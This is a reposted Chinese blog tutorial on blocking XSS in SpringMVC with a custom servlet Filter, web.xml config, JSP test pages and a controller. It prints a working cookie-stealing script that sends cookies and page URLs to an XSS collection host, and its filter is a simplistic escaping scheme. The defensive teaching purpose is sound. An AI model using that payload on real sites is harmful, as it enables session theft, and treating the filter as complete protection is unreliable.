1. 程式人生 > 實用技巧 >B - 運動員最佳匹配問題

B - 運動員最佳匹配問題

2019獨角獸企業重金招聘Python工程師標準>>> hot3.png

一 簡介

如題所示,如果不在服務端對使用者的輸入資訊進行過濾,然後該引數又直接在前臺頁面中展示,毫無疑問將會容易引發XSS攻擊(跨站指令碼攻擊),比如說這樣:

form表單中有這麼一個欄位:

1

<input type="text" id="author" name="author" placeholder="暱稱" />

然後潛在攻擊者在該欄位上填入以下內容:

1

<script>alert('XSS'

)</script>

緊接著服務端忽略了“一切來至其他系統的資料都存在安全隱患”的原則,並沒有對來至使用者的資料進行過濾,導致了直接在前臺頁面中進行展示。很顯然直接彈窗了:

20160925004048

當然,這裡僅僅只是一個無傷大雅的彈窗,如果是惡意的攻擊者呢?他可能會利用這個漏洞盜取cookie、篡改網頁,甚至是配合CSRF漏洞偽造使用者請求,形成大規模爆發的蠕蟲病毒等等。

比如說遠端載入這麼一個js將會導致使用者的cookie被竊取:

1

2

(function(){(new Image()).src='http://xss.domain.com/index.php?do=api&id=ykvR5H&location='

+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return
(window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();

if('1'==1){keep=new Image();keep.src='http://xss.domain.com/index.php?do=keepsession&id=ykvR5H&url='+escape(document.location)+'&cookie='+escape(document.cookie)};

然後將可以在自己搭建的XSS平臺中收到資訊,比如像這樣:

20160925010503

注:因為我在這個demo程式裡沒有設定cookie,因此cookie那一欄顯示為空白

當然,值得慶幸的是,像國內一些主流的瀏覽器(如:360瀏覽器、獵豹瀏覽器)對這類常見的XSS payload都進行了過濾,檢視網頁原始碼可以發現這些危險的字元均使用了鮮豔的紅色字型進行了標註,同時該指令碼並不能成功地執行:

20160925010820

不過,我發現我使用的IE10和最新版的Firefox都沒有進行此項過濾,不得不說是個遺憾

注:我這裡只是測試了獵豹、360、IE10以及火狐這四款瀏覽器,其他的沒測試,因此不敢妄加評論

二使用Filter過濾容易引發XSS的危險字元

(1)自定義一個過濾用的Filter:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

package cn.zifangsky.filter;

import java.io.IOException;

import java.util.Enumeration;

import java.util.Map;

import java.util.Vector;

import java.util.regex.Matcher;

import java.util.regex.Pattern;

import javax.servlet.FilterChain;

import javax.servlet.ServletException;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletRequestWrapper;

import javax.servlet.http.HttpServletResponse;

import org.apache.commons.lang3.StringEscapeUtils;

import org.apache.commons.lang3.StringUtils;

import org.springframework.web.filter.OncePerRequestFilter;

public class XSSFilter extends OncePerRequestFilter {

private String exclude = null;//不需要過濾的路徑集合

private Pattern pattern = null;//匹配不需要過濾路徑的正則表示式

public void setExclude(String exclude) {

this.exclude = exclude;

pattern = Pattern.compile(getRegStr(exclude));

}

/**

* XSS過濾

*/

protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)

throws ServletException, IOException {

String requestURI = request.getRequestURI();

if(StringUtils.isNotBlank(requestURI))

requestURI = requestURI.replace(request.getContextPath(),"");

if(pattern.matcher(requestURI).matches())

filterChain.doFilter(request, response);

else{

EscapeScriptwrapper escapeScriptwrapper = new EscapeScriptwrapper(request);

filterChain.doFilter(escapeScriptwrapper, response);

}

}

/**

* 將傳遞進來的不需要過濾得路徑集合的字串格式化成一系列的正則規則

* @param str 不需要過濾的路徑集合

* @return 正則表示式規則

* */

private String getRegStr(String str){

if(StringUtils.isNotBlank(str)){

String[] excludes = str.split(";");//以分號進行分割

int length = excludes.length;

for(int i=0;i<length;i++){

String tmpExclude = excludes[i];

//對點、反斜槓和星號進行轉義

tmpExclude = tmpExclude.replace("\\", "\\\\").replace(".", "\\.").replace("*", ".*");

tmpExclude = "^" + tmpExclude + "$";

excludes[i] = tmpExclude;

}

return StringUtils.join(excludes, "|");

}

return str;

}

/**

* 繼承HttpServletRequestWrapper,建立裝飾類,以達到修改HttpServletRequest引數的目的

* */

private class EscapeScriptwrapper extends HttpServletRequestWrapper{

private Map<String, String[]> parameterMap;//所有引數的Map集合

public EscapeScriptwrapper(HttpServletRequest request) {

super(request);

parameterMap = request.getParameterMap();

}

//重寫幾個HttpServletRequestWrapper中的方法

/**

* 獲取所有引數名

* @return 返回所有引數名

* */

@Override

public Enumeration<String> getParameterNames() {

Vector<String> vector = new Vector<String>(parameterMap.keySet());

return vector.elements();

}

/**

* 獲取指定引數名的值,如果有重複的引數名,則返回第一個的值

* 接收一般變數 ,如text型別

*

* @param name 指定引數名

* @return 指定引數名的值

* */

@Override

public String getParameter(String name) {

String[] results = parameterMap.get(name);

if(results == null || results.length <= 0)

return null;

else{

return escapeXSS(results[0]);

}

}

/**

* 獲取指定引數名的所有值的陣列,如:checkbox的所有資料

* 接收陣列變數 ,如checkobx型別

* */

@Override

public String[] getParameterValues(String name) {

String[] results = parameterMap.get(name);

if(results == null || results.length <= 0)

return null;

else{

int length = results.length;

for(int i=0;i<length;i++){

results[i] = escapeXSS(results[i]);

}

return results;

}

}

/**

* 過濾字串中的js指令碼

* 解碼:StringEscapeUtils.unescapeXml(escapedStr)

* */

private String escapeXSS(String str){

str = StringEscapeUtils.escapeXml(str);

Pattern tmpPattern = Pattern.compile("[sS][cC][rR][iI][pP][tT]");

Matcher tmpMatcher = tmpPattern.matcher(str);

if(tmpMatcher.find()){

str = tmpMatcher.replaceAll(tmpMatcher.group(0) + "\\\\");

}

return str;

}

}

}

(2)在web.xml檔案中將該過濾器放在最前面或者是字元編碼過濾器之後:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

<filter>

<filter-name>xssFilter</filter-name>

<filter-class>cn.zifangsky.filter.XSSFilter</filter-class>

<init-param>

<param-name>exclude</param-name>

<param-value>/;/scripts/*;/styles/*;/images/*</param-value>

</init-param>

</filter>

<filter-mapping>

<filter-name>xssFilter</filter-name>

<url-pattern>*.html</url-pattern>

<!-- 直接從客戶端過來的請求以及通過forward過來的請求都要經過該過濾器 -->

<dispatcher>REQUEST</dispatcher>

<dispatcher>FORWARD</dispatcher>

</filter-mapping>

關於這個自定義的過濾器,我覺得有以下幾點需要簡單說明下:

i)我這裡為了方便,沒有自己手動寫很多過濾規則,只是使用了commons-lang3-3.2.jar 這個jar包中的StringEscapeUtils 這個方法類來進行過濾。在這個類中有以下幾種過濾方法,分別是:escapeJava、escapeEcmaScript、escapeHtml3、escapeHtml4、escapeJson、escapeCsv、escapeEcmaScript 以及escapeXml。關於這幾種方法分別是如何進行過濾的可以自行查閱官方文件或者自己動手寫一個簡單的Demo進行測試。當然,我這裡使用的是escapeXml這個方法進行過濾

ii)因為一個web工程中通常會存在js、CSS、圖片這類靜態資源目錄的,很顯然這些目錄是不需要進行過濾的。因此我也做了這方面的處理,程式碼很簡單,看看上面的例子就明白了,或者可以看看我的這篇文章:https://www.zifangsky.cn/647.html

iii)關於“在Filter中修改HttpServletRequest中的引數”這個問題,只需要自定義一個類繼承與HttpServletRequestWrapper 這個類,然後複寫幾個方法即可。如果對這方面不太理解的同學可以看看我的這篇文章:https://www.zifangsky.cn/677.html

iv)在上面的過濾器中,我在escapeXSS(String str) 這個方法的後面還針對“# οnerrοr=javascript:alert(123)” 這種語句進行了專門的過濾。不過不過濾的話問題也不大,我覺得最多就是出現個彈窗,因為把尖括號和引號都給轉義了,並不能夠執行一些比較危險的操作

(3)兩個測試的前臺頁面:

i)form表單頁面input.jsp:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

<%@ page language="java" contentType="text/html; charset=UTF-8"

pageEncoding="UTF-8"%>

<%

String path = request.getContextPath();

String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";

%>

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<base href="<%=basePath%>">

<title>FilterDemo</title>

</head>

<body>

<div align="center">

Please input you want to say:

<form action="show.html" method="post">

<table>

<tr>

<td><input type="text" id="author" name="author" placeholder="暱稱" /></td>

</tr>

<tr>

<td><input type="text" id="email" name="email" placeholder="郵箱" /></td>

</tr>

<tr>

<td><input type="text" id="url" name="url"placeholder="網址"></td>

</tr>

<tr>

<td><textarea name="comment" rows="5" placeholder="來都來了,何不XSS一下"></textarea></td>

</tr>

<tr>

<td align="center"><input type="submit" value="Go" />

</tr>

</table>

</form>

</div>

</body>

</html>

ii)結果顯示頁面show.jsp:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

<%@ page language="java" contentType="text/html; charset=UTF-8"

pageEncoding="UTF-8"%>

<%

String path = request.getContextPath();

String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";

%>

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<base href="<%=basePath%>">

<title>FilterDemo</title>

</head>

<body>

<div align="center">

<table>

<tr>

<td>暱稱:</td><td>${author}</td>

</tr>

<tr>

<td>郵箱:</td><td>${email}</td>

</tr>

<tr>

<td>網址:</td><td>${url}</td>

</tr>

<tr>

<td>留言:</td><td>${comment}</td>

</tr>

<!-- <tr>

<td><img alt="x" src=${comment}></td>

</tr> -->

</table>

</div>

</body>

</html>

(4)測試用的Controller:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

package cn.zifangsky.controller;

import org.springframework.stereotype.Controller;

import org.springframework.web.bind.annotation.RequestMapping;

import org.springframework.web.bind.annotation.RequestParam;

import org.springframework.web.servlet.ModelAndView;

@Controller

public class CommentController {

/**

* 獲取留言並在頁面展示

* */

@RequestMapping("/show.html")

public ModelAndView showComment(@RequestParam(name = "author", required = true) String author,

@RequestParam(name = "email", required = false) String email,

@RequestParam(name = "url", required = false) String url,

@RequestParam(name = "comment", required = false) String comment) {

ModelAndView mAndView = new ModelAndView("show");

mAndView.addObject("author", author);

mAndView.addObject("email", email);

mAndView.addObject("url", url);

mAndView.addObject("comment", comment);

return mAndView;

}

}

這裡的程式碼邏輯很簡單,因此就不多做解釋了

(5)測試:

測試的效果如下:

20160925014319

對應的網頁原始碼是這樣的:

20160925014435

可以看出,我們的目標已經成功實現了,本篇文章到此結束

-----------------------------------------------------------------------------------------------------------------

©版權宣告:原創作品,允許轉載,轉載時請務必以超連結形式標明文章原始出處、作者資訊和本宣告。否則將追究法律責任。

轉載請註明來源:在SpringMVC中使用過濾器(Filter)過濾容易引發XSS的危險字元-zifangsky的個人部落格

轉載於:https://my.oschina.net/airship/blog/1560580